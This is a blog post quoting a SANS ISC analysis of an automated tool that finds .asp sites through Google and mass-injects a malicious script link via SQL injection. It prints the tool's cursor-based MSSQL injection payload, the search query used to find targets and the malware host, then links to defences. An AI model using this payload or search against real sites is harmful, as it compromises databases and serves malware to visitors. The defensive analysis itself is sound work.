Save Your Computing.
Back in January there were multiple reports about a large number of web sites being compromised and serving malware, wrote Bojan Zdrnja, on the institute’s blog. “While we had a general idea about what they do during these attacks, and we knew that they were automated, we did not know exactly how the attacks worked, or what tools the attackers used,” Zdrnja wrote. Then he proposes some helpful advices to avoid that.
So, the tool does is this:
The user can configure the tag that will be inserted on the compromised web sites. By default, the tool we recovered had the following string embedded: http://www.2117966 [dot] net/fuckjp.js. Sounds familiar? See https://isc.sans.org/diary.html?storyid=4139
The tool then checks something with a site in China. My guess at this point in time is that the attackers get paid for this since the tool calls a script pay.asp with an argument SN to verify something.
Now the user can start the tool. It will connect to Google and will search for vulnerable sites with the following query string: inurl:”.asp” inurl:”a=”. The parameter is configurable and the tool can search for many strings. For crawling, the tool uses a built-in embedded browser from bsalsa (http://www.bsalsa.com)
Once the URLs have been identified, the tool tries to attack the web sites with SQL Injection (I still have to analyze this part further to see how it works). The SQL injection string, though, is visible in the file and formatted with the tag defined in the first. Here is how the SQL Injection statement gets formulated
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype=’u’ a
nd (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN
Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec(’up
date ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+”
”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(
%20AS%20NVARCHAR(4000));EXEC(@S);–
The nice thing about this is that we finally managed to confirm that it is SQL Injection that was used in those attacks. The tool has more functionality that we still have to analyze but this is the main purpose.
Check your applications and make sure that they are not vulnerable. We covered this many times in various diaries, so here are few links to online resources that can help with this:
http://www.owasp.org/index.php/Top_10_2007-A2#Protection
http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx
http://portal.spidynamics.com/blogs/msutton/archive/2006/09/26/How-Prevalent-Are-SQL-Injection-Vulnerabilities_3F00_.aspx
http://erratasec.blogspot.com/2007/08/sql-injection-is-surpisingly-easy.html
Also “The SQL in question uses table cursors (as variable Table_Cursor) to enumerate all tables on Microsoft SQL server and the respective columns that are of type ntext, text, nvarchar, or varchar AND the table type is a user table and not a system table. The code then proceeds to utilize a cursor while loop to iterate through the returned results updating each table.columname concatenating it’s current value with an arbitrary value (which appears missing in your SQL, it would appear in the [HERE] area of the query part “rtrim(convert(varchar,['+@C+']))+’[HERE]‘”
The code converts the current data to varchar during concatenation to avoid any cast issues and removes any trailing space to the right of the field value.
The cursor is deallocated after update (how nice of them)”
Bojan’s dairy you can find here - http://isc.sans.org/diary.html?storyid=4294
Thanks him for great submissions.
